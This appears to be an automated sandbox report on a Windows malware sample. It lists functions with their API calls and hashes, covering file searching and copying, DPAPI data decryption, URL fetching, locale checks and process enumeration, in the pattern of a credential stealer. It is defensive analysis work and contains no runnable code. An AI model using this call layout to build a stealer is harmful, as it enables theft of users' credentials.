String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 3136d20d887a74a89511f914be1d743d0b7400d11fdd043764b17f3e6c3f3b96
Instruction ID: 16fd5a9597efbfb91ed0225017393bb16e0f77851f83799e5682f8bc7922baf0
Opcode Fuzzy Hash: 3136d20d887a74a89511f914be1d743d0b7400d11fdd043764b17f3e6c3f3b96
Instruction Fuzzy Hash: 676156B2900618ABCB24EBE0DD99EEA737DBF58701F00458DB61A96140EF74DB85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00411B80 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411B9D
FindFirstFileA.KERNELBASE(?,?), ref: 00411BB4
StrCmpCA.SHLWAPI(?,0041D834), ref: 00411BE2
StrCmpCA.SHLWAPI(?,0041D838), ref: 00411BF8
FindNextFileA.KERNEL32(000000FF,?), ref: 00411D3D
FindClose.KERNEL32(000000FF), ref: 00411D52

Strings

%s\%s, xrefs: 00411B91

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: b27c6a61e15bbaddcdd2033fdb989414cee41de35380bbbad86ebbf1a718a96c
Instruction ID: 1beca0db89a34a7d9f561fb59a57ff38f1a0216f2a844ef05cbde65d1a44dc5a
Opcode Fuzzy Hash: b27c6a61e15bbaddcdd2033fdb989414cee41de35380bbbad86ebbf1a718a96c
Instruction Fuzzy Hash: D75168B5900618ABCB24EBB0DC85EEA737DBB48304F40458DB65A96050EB79ABC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004015C0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 492filethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215C4,?,00401E03,?,004215C8,?,?,00000000,?,00000000), ref: 00401813
StrCmpCA.SHLWAPI(?,004215CC), ref: 00401863
StrCmpCA.SHLWAPI(?,004215D0), ref: 00401879
SetThreadLocale.KERNEL32 ref: 00401AC2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401C30
DeleteFileA.KERNEL32(00000000), ref: 00401CB4
FindNextFileA.KERNEL32(000000FF,?), ref: 00401D0A
FindClose.KERNEL32(000000FF), ref: 00401D1C

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Strings

\*.*, xrefs: 004016E1

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstLocaleNextThreadlstrlen
String ID: \*.*
API String ID: 1950708506-1173974218
Opcode ID: f7f395177250b460b0db6d785d489f319a667289a3f79a53d58222ccd669c59b
Instruction ID: 3aa4ae790513c502dab12fd0122e5550b13815c0fff8c800b600eb4522263f51
Opcode Fuzzy Hash: f7f395177250b460b0db6d785d489f319a667289a3f79a53d58222ccd669c59b
Instruction Fuzzy Hash: D41225759102189BCB15FB61DC56EEE7739AF54308F41419EB10A62091EF38AFC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404C70 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404C8A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C91
InternetOpenA.WININET(0041D79B,00000000,00000000,00000000,00000000), ref: 00404CAA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00404CD1
InternetReadFile.WININET(c.A,?,00000400,00000000), ref: 00404D01
InternetCloseHandle.WININET(c.A), ref: 00404D75
InternetCloseHandle.WININET(?), ref: 00404D82

Strings

c.A, xrefs: 00404D71, 00404CFD, 00404D00, 00404D74
c.A, xrefs: 00404CC1, 00404DA0

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID: c.A$c.A
API String ID: 3066467675-270182787
Opcode ID: 0de907d42740b73276ee4841b6eaeb85befe0f9a3eb9d020644180b68549cc61
Instruction ID: 93472a029acc8278824907ab7d145ea178407da7df790c597300061c638fc298
Opcode Fuzzy Hash: 0de907d42740b73276ee4841b6eaeb85befe0f9a3eb9d020644180b68549cc61
Instruction Fuzzy Hash: 3731F8F4A00218ABDB20DF54DD85BDDB7B5BB88304F5081D9F709A7280DB746AC58F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0041DC10,0041D73F), ref: 0040D22B
StrCmpCA.SHLWAPI(?,0041DC14), ref: 0040D273
StrCmpCA.SHLWAPI(?,0041DC18), ref: 0040D289
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040D4EE
FindClose.KERNEL32(000000FF), ref: 0040D500

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: f41b9faf97c03d21ff03c185924b8b342649efa7cdb05378454d2323efcabeab
Instruction ID: a7e743a2a4f5118c59e4eb5b7e6cabc454f6fbff0e67e47d23a58287cf68124a
Opcode Fuzzy Hash: f41b9faf97c03d21ff03c185924b8b342649efa7cdb05378454d2323efcabeab
Instruction Fuzzy Hash: 63913B72A0020497CB14FFB1EC569EE777DAB84308F41466EF90A96581EE38D788CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00414570 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
LocalFree.KERNEL32(00000000), ref: 004146DF

Strings

/ , xrefs: 0041463C

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 6beba432bb96e3c84f5a57a5e63355993c4d593e46cb58c7d3b5d81651624c51
Instruction ID: e4a09482d03fe0ac07b2aa12fe49ef9b635f824a972481fa3f662a7a2871ed61
Opcode Fuzzy Hash: 6beba432bb96e3c84f5a57a5e63355993c4d593e46cb58c7d3b5d81651624c51
Instruction Fuzzy Hash: D5413B74940218ABCB24DF50DC89BEDB775BB54308F2042DAE10A66191DB786FC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB60 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,0041D74E), ref: 0040DBD2
StrCmpCA.SHLWAPI(?,0041DC58), ref: 0040DC22
StrCmpCA.SHLWAPI(?,0041DC5C), ref: 0040DC38
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E306

Strings

\*.*, xrefs: 0040DB7D

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 72f6734ba949fb204cdb31aa2d361f577838c1988200e0d7a2c5188d89033d93
Instruction ID: 8f23b39e961a58df861ec407c7814dc8b58ae9c3eb94c511c30fb23e96a564a4
Opcode Fuzzy Hash: 72f6734ba949fb204cdb31aa2d361f577838c1988200e0d7a2c5188d89033d93
Instruction Fuzzy Hash: 88126771A002145ACB14FB61DC56EED7739AF54308F4142AEB50A66091EF389FC8CFE8

Uniqueness

Uniqueness Score: -1.00%

Function 004155A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Strings

>N@, xrefs: 004155B8, 00415614, 004155BB, 00415617

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID: >N@
API String ID: 80407269-3381801619
Opcode ID: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction ID: 37622f5e64546725dbf22d4b9568f407ee9b467eb6af981ec2fff7c5b56759cd
Opcode Fuzzy Hash: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction Fuzzy Hash: 73110D74200A04FFDB10CFA4E844FEB37AABF89310F509549F9098B254D775E881DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415D00 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00415D1E
Process32First.KERNEL32(0041D599,00000128), ref: 00415D32
Process32Next.KERNEL32(0041D599,00000128), ref: 00415D47
StrCmpCA.SHLWAPI(?,00000000), ref: 00415D5C
CloseHandle.KERNEL32(0041D599), ref: 00415D7A

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction ID: 4a4bbd9776da2ad99231b6c5471aa9e11f786ff18f9e7f574f496e4dc08d41d8
Opcode Fuzzy Hash: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction Fuzzy Hash: 53012575A00608EBDB24DF94DD58BDEB7B9BF88304F108189E90597250DB749B81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 004144B0 Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,042C6430,00000000,?,0041D758,00000000,?,00000000,00000000,?,042C6A78,00000000), ref: 004144C0
HeapAlloc.KERNEL32(00000000), ref: 004144C7
GetTimeZoneInformation.KERNEL32(?), ref: 004144DA
wsprintfA.USER32 ref: 00414514

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction ID: 63b956e3650aea0bdd01ac085b80a838c67200ff8d98e36f2a49cf33a9f6a1bd
Opcode Fuzzy Hash: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction Fuzzy Hash: C7F06770E047289BDB309B64DD49FA9737ABB44311F0002D5EA0AE3291DB749E858F97

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
LocalFree.KERNEL32(?), ref: 004095AF

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction ID: 845aa5354f8c35be15d3c308e338542aeef751caf2e905b87ee6994bb5fcaacd
Opcode Fuzzy Hash: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction Fuzzy Hash: 2B11B7B8A00609EFCB04DF94C984AAEB7B5FF88301F104559E915A7390D774AE51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004143C0 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00401177,042C37E8,004136EB,0041D6E3), ref: 004143CD
HeapAlloc.KERNEL32(00000000), ref: 004143D4
GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction ID: fd22aaf49eebc4deedfa71bce2fb200d05227bfc9b63873cd8cb515d50d954e6
Opcode Fuzzy Hash: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction Fuzzy Hash: 2CE08CB490070CFFCB20EFE4DC49E9CBBB8AB08312F000184FA09E3280DB7056848B91

Uniqueness

Uniqueness Score: -1.00%

Function 00401120 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
ExitProcess.KERNEL32 ref: 0040113E

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction ID: 30efb513975bfe185fa80fb3a8f84b393628ccfbb0aa9170a1b214bc368b0093
Opcode Fuzzy Hash: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction Fuzzy Hash: B6D05E7490020C8BCB14DFE09A496DDBBB9AB8D711F001455DD0572240DA305441CA65

Uniqueness

Uniqueness Score: -1.00%

Function 004070E0 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00413068,?), ref: 004070F4
RtlAllocateHeap.NTDLL(00000000,?,00413068,?), ref: 004070FB
lstrcat.KERNEL32(?,042C7A10), ref: 004072AB
lstrcat.KERNEL32(?,?), ref: 004072BF
lstrcat.KERNEL32(?,?), ref: 004072D3
lstrcat.KERNEL32(?,?), ref: 004072E7
lstrcat.KERNEL32(?,042C5F38), ref: 004072FB
lstrcat.KERNEL32(?,042C5F68), ref: 0040730F
lstrcat.KERNEL32(?,042C8228), ref: 00407322
lstrcat.KERNEL32(?,042C8240), ref: 00407336
lstrcat.KERNEL32(?,042C7A98), ref: 0040734A
lstrcat.KERNEL32(?,?), ref: 0040735E
lstrcat.KERNEL32(?,?), ref: 00407372
lstrcat.KERNEL32(?,?), ref: 00407386
lstrcat.KERNEL32(?,042C5F38), ref: 00407399
lstrcat.KERNEL32(?,042C5F68), ref: 004073AD
lstrcat.KERNEL32(?,042C8228), ref: 004073C1
lstrcat.KERNEL32(?,042C8240), ref: 004073D4
lstrcat.KERNEL32(?,042C7B00), ref: 004073E8
lstrcat.KERNEL32(?,?), ref: 004073FC
lstrcat.KERNEL32(?,?), ref: 00407410
lstrcat.KERNEL32(?,?), ref: 00407424
lstrcat.KERNEL32(?,042C5F38), ref: 00407438
lstrcat.KERNEL32(?,042C5F68), ref: 0040744B
lstrcat.KERNEL32(?,042C8228), ref: 0040745F
lstrcat.KERNEL32(?,042C8240), ref: 00407473
lstrcat.KERNEL32(?,042C7B68), ref: 00407486
lstrcat.KERNEL32(?,?), ref: 0040749A
lstrcat.KERNEL32(?,?), ref: 004074AE
lstrcat.KERNEL32(?,?), ref: 004074C2
lstrcat.KERNEL32(?,042C5F38), ref: 004074D6
lstrcat.KERNEL32(?,042C5F68), ref: 004074EA
lstrcat.KERNEL32(?,042C8228), ref: 004074FD
lstrcat.KERNEL32(?,042C8240), ref: 00407511
lstrcat.KERNEL32(?,042C7BD0), ref: 00407525
lstrcat.KERNEL32(?,?), ref: 00407539
lstrcat.KERNEL32(?,?), ref: 0040754D
lstrcat.KERNEL32(?,?), ref: 00407561
lstrcat.KERNEL32(?,042C5F38), ref: 00407574
lstrcat.KERNEL32(?,042C5F68), ref: 00407588
lstrcat.KERNEL32(?,042C8228), ref: 0040759C
lstrcat.KERNEL32(?,042C8240), ref: 004075AF
lstrcat.KERNEL32(?,042C7C38), ref: 004075C3
lstrcat.KERNEL32(?,?), ref: 004075D7
lstrcat.KERNEL32(?,?), ref: 004075EB
lstrcat.KERNEL32(?,?), ref: 004075FF
lstrcat.KERNEL32(?,042C5F38), ref: 00407613
lstrcat.KERNEL32(?,042C5F68), ref: 00407626
lstrcat.KERNEL32(?,042C8228), ref: 0040763A
lstrcat.KERNEL32(?,042C8240), ref: 0040764E

Part of subcall function 00406FA0: lstrcat.KERNEL32(36C98020,0041DEB8), ref: 00406FD6
Part of subcall function 00406FA0: lstrcat.KERNEL32(36C98020,00000000), ref: 00407018
Part of subcall function 00406FA0: lstrcat.KERNEL32(36C98020, : ), ref: 0040702A
Part of subcall function 00406FA0: lstrcat.KERNEL32(36C98020,00000000), ref: 0040705F
Part of subcall function 00406FA0: lstrcat.KERNEL32(36C98020,0041DEC0), ref: 00407070
Part of subcall function 00406FA0: lstrcat.KERNEL32(36C98020,00000000), ref: 004070A3
Part of subcall function 00406FA0: lstrcat.KERNEL32(36C98020,0041DEC4), ref: 004070BD
Part of subcall function 00406FA0: task.LIBCPMTD ref: 004070CB

lstrcat.KERNEL32(?,042C3658), ref: 004077DB
lstrcat.KERNEL32(?,042C6E38), ref: 004077EE
lstrlen.KERNEL32(36C98020), ref: 004077FB
lstrlen.KERNEL32(36C98020), ref: 0040780B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,042C35F8), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$Heap$AllocateInternetOpenProcesslstrcpytask
String ID:
API String ID: 3958002797-0
Opcode ID: 71a07dda988696830ba42ff86637ae7152b3adc93f1422aa4a5be7619d59b96e
Instruction ID: 3e78b0701875fb024adfa953bd7607f570b92d72e3b87f8e208063dda3fe5bd2
Opcode Fuzzy Hash: 71a07dda988696830ba42ff86637ae7152b3adc93f1422aa4a5be7619d59b96e
Instruction Fuzzy Hash: D33234B6D01A14ABCB35EBA0DC89DDE737DAB48704F404699B20A66090DF78E7C5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA90 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
